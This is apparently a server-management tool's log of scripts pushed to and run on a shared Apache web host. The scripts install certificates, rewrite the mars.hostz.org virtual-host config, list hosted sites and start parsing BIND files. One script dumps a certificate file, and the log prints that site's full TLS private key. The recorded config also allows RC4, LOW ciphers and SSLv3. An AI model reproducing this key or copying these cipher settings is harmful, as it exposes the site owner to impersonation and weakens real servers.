VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-22 06:00:11: 

chmod 755 /tmp/pkp674705; /tmp/pkp674705; rm /tmp/pkp674705

2026-04-22 06:00:11: 


dir=/etc/ssl/certs


2026-04-22 06:00:11: 

PUT: /tmp/pkp822461

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/000-hostz_mars_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-22 06:00:11: 

chmod 755 /tmp/pkp822461; /tmp/pkp822461; rm /tmp/pkp822461

2026-04-22 06:00:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf 38

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-22 06:00:11: 

PUT: /tmp/pkp241030

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=000-hostz_mars_org.conf
TARGET=/etc/apache2/sites-enabled/000-hostz_mars_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/000-hostz_mars_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf= 1'
fi


2026-04-22 06:00:11: 

chmod 755 /tmp/pkp241030; /tmp/pkp241030; rm /tmp/pkp241030

2026-04-22 06:00:11: 




2026-04-22 06:00:11: 

PUT: /tmp/pkp178092

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-22 06:00:11: 

chmod 755 /tmp/pkp178092; /tmp/pkp178092; rm /tmp/pkp178092

2026-04-22 06:00:11: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-22 06:00:11: Establishing a connection
2026-04-22 06:00:11: 

PUT: /tmp/pkp146733

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-22 06:00:11: 

chmod 755 /tmp/pkp146733; /tmp/pkp146733; rm /tmp/pkp146733

2026-04-22 06:00:12: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-22 06:00:12: 

PUT: /tmp/pkp102734

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/000-hostz_mars_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-22 06:00:12: 

chmod 755 /tmp/pkp102734; /tmp/pkp102734; rm /tmp/pkp102734

2026-04-22 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf	1374

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-22 06:00:12: 

PUT: /tmp/pkp599266

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-22 06:00:12: 

chmod 755 /tmp/pkp599266; /tmp/pkp599266; rm /tmp/pkp599266

2026-04-22 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5344
27:c3:38:13:ff:32:a5:f3:77:1a:1c:81:52:95:1f:ae

-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBVj/oR/FT+qDgwdACsdMQ1EGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIyMDUwMTM5WhcNMjYwNzIxMDUwMTM4WjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJoL2HtS/cN6ZA8GjdEBOM2UVg6JiCGmRJJIF6akRHaov8wqFwVMQ50diwEUICVc
ocmrd/NkKOhV21gOuqSJq64jZ2fjuW3ey9FiyLCtYFJh0Z3avSmwNyeDNgif9U0g
YQx+RpE3oluWoFlP8vyTzVKfSY6EijVwS1PMRcidXELM57n1r0m79mJc3ABmvJok
tTQKK55ibxIf/Y0opLj8H3wb9YA1NRpfzi62BfPY9To6ZSeRMrY0YZodWrg9xjqp
P1ESHOn69a9VTq+2to9fRnYwBewgivRaDMwdhtBe4GAq9d30vU7+7adfTAS4VDcZ
jqKripqjrIkol7/F3Ry0p/sCAwEAAaOCAhswggIXMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQi5bnC
KBDrkkhYgtTjesNd4DjXrzAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDm1hcnMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
Ny5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdQDXbX0Q0af1d8LH6V/XAL/5
gskzWmXh0LMBcxfAyMVpdwAAAZ2zxkiCAAAEAwBGMEQCIHODbbnWmSD1UlgbH5LO
ZeVfo7nnIgWg8YN/tDhEjjNXAiAnBBWvN/5IepbdO/Ne1+XXZQRaO7fAZOlf3B5u
K4Xw2wB/AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnbPGSqcA
CAAABQAIOIhqBAMASDBGAiEA9uMZ7522jIn/B5KAKN2aoARs4kymR4P3rXyHtXTI
S/cCIQDhRU35VAgNbPo4FR9EOsvx0/Eem6grMIG4tbUwKvkFeDANBgkqhkiG9w0B
AQsFAAOCAQEAZdRNtCmRDSZbP5dpmpHK1+zY2Vxoyxdtc5UDZE10gmLtCgwgEtlR
CBZt/jTzRWqyBGmkRr5ent+FMiblbtWKKRE1GfwlkWXKuRvGn7LEH+CdelwuBabE
GkU3SLJg7oMsVXmYxlmPUg/kTogKr4fU5Yvjlo3ImkiTQAgxfYa5/6ze6GzuLoD3
SQ/cjPU2m+KWZvX5Lf1am4C6QWazGMLAeilcQj6aNbesysOVZNT7A93z10eEEg9H
HSXBrWItVh/h8YuCrBLDxmXAWojl+ymjWAOv0UMe8Qol9i0Um/KQ2Z5LcOUIY5Yz
2l8vGDBQ7T6W/roD3BSXpJoMuTcc9vibAA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCaC9h7Uv3DemQP
Bo3RATjNlFYOiYghpkSSSBempER2qL/MKhcFTEOdHYsBFCAlXKHJq3fzZCjoVdtY
DrqkiauuI2dn47lt3svRYsiwrWBSYdGd2r0psDcngzYIn/VNIGEMfkaRN6JblqBZ
T/L8k81Sn0mOhIo1cEtTzEXInVxCzOe59a9Ju/ZiXNwAZryaJLU0CiueYm8SH/2N
KKS4/B98G/WANTUaX84utgXz2PU6OmUnkTK2NGGaHVq4PcY6qT9REhzp+vWvVU6v
traPX0Z2MAXsIIr0WgzMHYbQXuBgKvXd9L1O/u2nX0wEuFQ3GY6iq4qao6yJKJe/
xd0ctKf7AgMBAAECggEAEChR6o2H5Gr/97t+QH/aT2XRqPCwAKeJ5bX+FRKBw9hr
VaTMiVe4d9BTdieAP6r5pUeA61yEFep7eT8CQKPYCAnanMD8ABQwWKP93NoykjGE
ZQQ+dxLulgxjLIBqoE5XH5JXIIAvXV/tLbD/EZMHJDVk57frLzO6Eu4IG8S1mqPt
uLOyuEGDAB7+HcnTBveebx/dpF9/tCS3zcK9LO8MaTDl7LiU+uuyuTfHDOIvPQQQ
nAeni+NOFKKws3PGsc7QnWGS3jVCKlGzG/9uysiPzxzFcFchpaL2GiatFcc1DrDt
jydR6qkHS8ZD/VI8rQGxo7taLoHWYLwwgazaMkKi0QKBgQDJSIoSf2xhc7swrqRg
bPHPfKBghZAaSD8zwwOl6zzhzc7V+f7XVwWwRlvKz6B2gNDIq5r5bPzEpY5N2chA
dReJAqw6a1IsKnXEjyrUDWBFe2rYCC48/ImYYse/BX2eOi6s/lKNe0hR3wWeOPjM
NQ8Oi9JClqcLJmflc9j7yHXBxwKBgQDD7Aq7G1ch3mT0zjk0mKePlfV+90Lyjt8T
u+XfdVOi+Db1wM/jVKTpXNN68wP6xOixtWD5eHuLFNsfaPsQ7CuBRELeQeBDduAV
DNzRqp0cQLBNp0uvcDtGHaF784l8UuZNfQ8dzX74jynLdKsfdhKYUVscAEMPFCbE
ZrBUcHGoLQKBgDWUJpS38HycVtallkHInjFx5irrQqmMU66OmZj/3ivpIcaZjjl6
A5yhjeuViwwgS/MuoskENuCNhSy57PEjeglRedDvImd5QfH5fhgGG3tDV/R7cPtw
6Ztzp+H0LzUAHc6UwBrDF0Qbzp4IYknRUdm4ZFavTXXNWliclsSm3pmfAoGACBuE
dimzeVtSoi7Gfz6x8GcsOYzR4Ge5I3/rC0w3oc7Tt2e7MpUWHfIRbk0QJRhw6Kmw
0aICusaqKqqVeSXMxxSkD756IVCSBUz69lIxHjIvGYeKwj/KtCQVwqNZVSO5FAvQ
zFLspiyGdjzlt++S5Wq4cngwTjdvQ0FcmqHskiECgYAeiPdRBfb2fgxHGhknarn8
4nb03ZYltqvijg6SY16LXKXjGZ1/3Min5O6J4tfn2ZArm6+TVhy9QGW578euNzD4
ikFBBOyn6hKC2B/sjehDXnqq8NjbtMiyY6jECAKOypT4SGWBi1TBCJq3ky9eQon2
1gC/PPDEfsXRVpVdGoC/Ug==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-22 06:00:12: Establishing a remote connection
2026-04-22 10:31:44: Establishing a connection
2026-04-22 10:31:53: Establishing a connection
2026-04-22 10:31:53: 

PUT: /tmp/pkp251057

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
